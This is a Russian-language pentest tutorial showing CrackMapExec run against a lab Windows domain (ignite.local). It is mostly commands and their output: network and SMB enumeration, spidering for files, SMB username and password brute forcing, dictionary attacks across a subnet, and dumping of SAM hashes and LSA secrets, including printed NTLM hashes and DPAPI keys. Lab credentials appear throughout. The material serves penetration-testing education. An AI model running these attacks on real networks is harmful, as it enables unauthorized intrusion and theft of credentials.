

Как установить и использовать CrackMapExec на Kali Linux

В этой статье мы научимся использовать CrackMapExec на Kali Linux. Я использовал этот инструмент много раз, как для атаки, так и в целях защиты от атак и могу подробно о нем рассказать.

Еще по теме: [Способы прописаться в системе при пентесте](#)

Что такое CrackMapExec

Crackmapexec, также известный как CME, представляет собой инструмент пост-эксплуатации. Разработчик инструмента описывает его как «швейцарский армейский нож для тестирования сетей на проникновение», что, на мой взгляд, является подходящим описанием.

Тулза может перечислять авторизованные пользователи и индексировать общие папки SMB, выполнять атаки в стиле psexec и реализовывать автоматические инъекции Mimikatz / Shellcode / DLL в память используя Powershell, дампинг NTDS.dit и многое другое.

Стенд для использования CrackMapExec

Для примера использовался следующий стенд:

- Цель — Windows Server
- Атакующая машина — Kali Linux

Конфигурация систем:

Сервер Windows

ССС

- Домен — ignite.local
- Пользователь — Administrator
- Пароль — Ignite@987
- IP-адрес — 192.168.1.105

Клиент Windows

- ОС — Windows 10
- IP-адрес — 192.168.1.106
- Пользователи — kavish, geet, aarti, yashika

- Пароль — Password@1

Установка CrackMapExec

Установка очень проста:

- 1 apt install crackmapexec

```
root@kali:~# apt install crackmapexec
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer
required:
  cython enchant libayatana-ido3-0.4-0 libbfio1 libboost-regex1.67
  libisc-export1104 libisc1100 libisc1104 libisl21 libjim0.77 libj
  linux-headers-5.3.0-kali2-amd64 linux-headers-5.3.0-kali2-common
  python-backports.functools-lru-cache python-bcrypt python-blinker
  python-django python-dnspython python-editor python-egenix-mxdata
  python-flask-kvsession python-flask-login python-flask-mail python-
  python-hamcrest python-html2text python-html5lib python-hupper python-
  python-markupsafe python-marshmallow python-marshmallow-sqlalchemy
  python-pcapfile python-pefile python-plaster python-png python-py
  python-pyquery python-qrcode python-repoze.lru python-scapy python-
  python-sqlalchemy python-sqlalchemy-ext python-sqlalchemy-schema
  python-twisted-bin python-twisted-core python-txaio python-tz python-
  python-wsaccel python-wtforms python-yaml python-zope.component
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
```

Если приведенная выше команда вызывает какие-либо проблемы, попробуйте обновить Kali Linux.

Использование CrackMapExec

Перечисление IP-адресов сети

Для обнаружения IP-адресов целевой сети, используйте команду:

- 1 crackmapexec smb 192.168.1.0/24

```
root@kali:~# crackmapexec smb 192.168.1.0/24
SMB 192.168.1.103 445 DESKTOP-9C22C07 [*] Windows 10 Pro 18362 x64 (name=Administrator)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard (name=Administrator)
SMB 192.168.1.106 445 DESKTOP-RGP209L [*] Windows 10.0 Build 18362 x64 (name=Administrator)
```

Синтаксис CrackMapExec выглядит следующим образом:

- 1 crackmapexec <протокол> <целевой_IP> -u '<имя пользователя>' -p '<пароль>'

Пример команды:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987'

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987'
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 1439
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
```

Перечисление пользователей

Для перечисления всех пользователей целевой системы, используется параметр — user:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Enumerated domain user(s)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\Administrator badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\Guest badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\DefaultAccount badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\krbtgt badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\yashika badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\geet badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\aaarti badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\PII000-3MFD4LDN1TVV badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_195ac04be8c140048 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_4c397e3a678c4b169 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_20db1747e41e4819a badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_8fbff1f05b7c418da badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_fafb5649db9644c49 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_c0b1758feadf42abb badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_555a8cdd81f14d9a8 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_8b7c24749eae46cfa badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SM_a5503dd828c64f048 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailboxf574a3a badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox06b7664 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox1eb4aa3 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox0a5a569 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailboxd7cfd99 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox41cc604 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox0ab8a6a badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox0bc5951 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox55e60d4 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailboxb6dd973 badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\HealthMailbox23061dc badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\SVC_SQLService badpwdcount
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local\kavish badpwdcount
```

Перечисление групп пользователей

Для получения информации о группах целевой системы:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (r
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Enumerated domain group(s)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Administrators membercount: 3
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Users membercount: 3
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Guests membercount: 2
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Print Operators membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Backup Operators membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Replicator membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Remote Desktop Users membercount: 1
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Network Configuration Operators membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Performance Monitor Users membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Performance Log Users membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Distributed COM Users membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 IIS_IUSRS membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Cryptographic Operators membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Event Log Readers membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Certificate Service DCOM Access membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 RDS Remote Access Servers membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 RDS Endpoint Servers membercount: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 RDS Management Servers membercount: 0

```

Поиск текстовых файлов

Чтобы получить всю информацию о текстовых файлах на целевой системе:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C:\\$ --pattern txt

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C:\$ --pattern txt
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Started spidering
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Spidering .
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/wwwroot/file.txt [lastm:'2020-04-30 15:28' size:153]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/VMware/VMware Tools/open_source_licenses.txt [lastm:'2020-04-
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Windows Defender/ThirdPartyNotices.txt [lastm:'2020-04-15 21
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceAmharic.txt [las
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceArray.txt [lastm
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceDaVi.txt [lastm:
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceTigrinya.txt [la
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Windows NT/TableTextService/TableTextServiceVi.txt [lastm:'20
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_BeforeEac
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_Mocking.h
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_Pester.he
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_should.he
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WindowsPowerShell/Modules/Pester/3.4.0/en-US/about_TestDrive
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WinRAR/License.txt [lastm:'2020-04-15 08:32' size:6880]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WinRAR/Rar.txt [lastm:'2020-04-15 08:32' size:107330]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WinRAR/ReadMe.txt [lastm:'2020-04-15 08:32' size:1279]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/WinRAR/WhatsNew.txt [lastm:'2020-04-15 08:32' size:93732]

```

Поиск log-файлов

Точно так же, чтобы получить информацию о файлах журнала:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C:\\$ --pattern log


```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C:\$ --pattern log
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Started spidering
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Spidering .
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/PerfLogs [dir]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs [dir]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles [dir]
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/FTPSVC2/u_ex200420.log
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/FTPSVC2/u_ex200428.log
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200419.log [
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200420.log [
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200425.log [
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200430.log [
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/inetpub/logs/LogFiles/W3SVC1/u_ex200501.log [
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Common Files/microsoft shared/i
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/microsoft shared/i
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 //192.168.1.105/C$/Program Files/Mozilla Firefox/install.log [a

```

Обнаружение общих ресурсов (шар)

Чтобы узнать, какие папки являются общими и получить информацию о правах доступа:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 :
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Enumerated shares
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Share Permissions Remark
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 -----
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 ADMIN$ READ,WRITE Remote Admin
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 C$ READ,WRITE Default share
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 hackme READ,WRITE
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 IPC$ Remote IPC
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 NETLOGON READ,WRITE Logon server share
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 SYSVOL READ Logon server share
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Users READ,WRITE

```

Просмотр активных сессий

Для просмотра активных сессий:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 143
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Enumerated sessions

```

Просмотр политики паролей

Чтобы узнать политики паролей, которые были применены в целевой системе:

- 1 crackmapexec smb 192.168.1.105 -u 'Администратор' -p 'Ignite@987' --pass-pol

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --pass-pol
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Dumping password info for domain: IGNITE
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Minimum password length: 7
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password history length: 24
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Maximum password age:
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Password Complexity Flags: 000001
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Domain Refuse Password Change: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Domain Password Store Cleartext: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Domain Password Lockout Admins: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Domain Password No Clear Change: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Domain Password No Anon Change: 0
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Domain Password Complex: 1
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Minimum password age:
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Reset Account Lockout Counter: 30 minutes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Locked Account Duration: 30 minutes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Account Lockout Threshold: None
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Forced Log off Time: Not Set

```

Выполнение вышеуказанной команды отобразит подробную информацию о политиках паролей.

Список логических дисков

Для получения информации о логических дисках:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Enumerated disks
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 C:
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 D:

```

Брутфорс имени пользователя

С помощью CrackMapExec вы также можете бруттить имя пользователя. Можно указать один хост или диапазон IP-адресов:

- 1 crackmapexec smb 192.168.1.0/24 -u "kavish" "Administrator" -p "Ignite@987"

```

root@kali:~# crackmapexec smb 192.168.1.0/24 -u "Kavish" "Administrator" -p "Ignite@987"
SMB 192.168.1.103 445 DESKTOP-9C22C07 [*] Windows 10 Pro 18362 x64 (name:DESKTOP-9C22C07) (doma
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Kavish:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:Ignite@987 STATUS_ACCOUNT
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (na
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] IGNITE\Kavish:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.106 445 DESKTOP-RGP209L [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP209L) (c
SMB 192.168.1.106 445 DESKTOP-RGP209L [-] IGNITE\Kavish:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.106 445 DESKTOP-RGP209L [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)

```

Брутфорс пароля

CME позволяет бруттить пароли определенной системы или всей сети. Вот пример брута пароля всех машин в сети:

- 1 crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"

```
root@kali:~# crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"
SMB 192.168.1.103 445 DESKTOP-9C22C07 [*] Windows 10 Pro 18362 x64 (name:DESKTOP-9C22C07) (domain:DESKTOP-9C22C07)
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:password1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:password2 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:Ignite@987 STATUS_ACCOUNT_DISABLED
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] IGNITE\Administrator:password1 STATUS_LOGON_FAILURE
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [-] IGNITE\Administrator:password2 STATUS_LOGON_FAILURE
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.106 445 DESKTOP-RGP209L [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP209L) (domain:DESKTOP-RGP209L)
SMB 192.168.1.106 445 DESKTOP-RGP209L [-] IGNITE\Administrator:password1 STATUS_LOGON_FAILURE
SMB 192.168.1.106 445 DESKTOP-RGP209L [-] IGNITE\Administrator:password2 STATUS_LOGON_FAILURE
SMB 192.168.1.106 445 DESKTOP-RGP209L [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
```

Атака по словарю

Для атаки могут быть использованы, как пользовательские, так и созданные словари. В этом примере будет использован созданный словарь, как для имен пользователей, так и для паролей.

Эта атака может быть проведена против всех машин сети или против одной системы. Использование диапазона IP-адресов:

- 1 crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt

```
root@kali:~# crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
SMB 192.168.1.103 445 DESKTOP-9C22C07 [*] Windows 10 Pro 18362 x64 (name:DESKTOP-9C22C07) (domain:DESKTOP-9C22C07)
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:Ignite@987 STATUS_ACCOUNT_DISABLED
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:Admin@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\Administrator:Password@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\raj:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\raj:Admin@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\raj:Password@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\raarti:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\raarti:Admin@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\raarti:Password@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\yashika:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\yashika:Admin@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\yashika:Password@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\geet:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\geet:Admin@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\geet:Password@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\pavan:Ignite@987 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\pavan:Admin@1 STATUS_LOGON_FAILURE
SMB 192.168.1.103 445 DESKTOP-9C22C07 [-] DESKTOP-9C22C07\pavan:Password@1 STATUS_LOGON_FAILURE
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB 192.168.1.106 445 DESKTOP-RGP209L [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP209L) (domain:DESKTOP-RGP209L)
```

Дампинг учетных данных SAM

SAM — это сокращение от Security Account Manager, которое управляет всеми учетными записями пользователей и их паролями. Механизм похож на базу данных. Все пароли хэшируются, а затем сохраняются в SAM.

Используя CME, мы можем сдампинг хеши учетных данных SAM:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam


```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGN
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Dumping SAM hashes
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Added 3 SAM hashes to the database

```

Дампинг учетных данных LSA

Локальный центр безопасности (LSA) — это защищенный системный процесс, который аутентифицирует и регистрирует пользователей на локальном компьютере. Учетные данные домена используются операционной системой и аутентифицируются локальным администратором безопасности (LSA). Следовательно, LSA имеет доступ к учетным данным, и мы воспользуемся этим фактом для сбора учетных данных с помощью CME:

1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa

```

root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGN
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Dumping LSA secrets
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 IGNITE\WIN-S0V7KMTVLD2$:aes256-cts-hmac-sha1-96:4a9fc94a8b91a4c57b2fe9e6d20ff8e0c0c3c3b1
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 IGNITE\WIN-S0V7KMTVLD2$:aes128-cts-hmac-sha1-96:43977a9c3d9649811d78dfd1ec21896f
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 IGNITE\WIN-S0V7KMTVLD2$:des-cbc-md5:dc5479eaf22f8068
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 IGNITE\WIN-S0V7KMTVLD2$:aad3b435b51404eeaad3b435b51404ee:6eb72d9582436dfd0ba7d3e82ed542d
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 dpapi_machinekey:0xd322c71ab942e8e2d30d36e4a74054803f703feb
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 dpapi_userkey:0xca6e97e65eacbd4d0ee9b6989bc0caf2fb7631a2
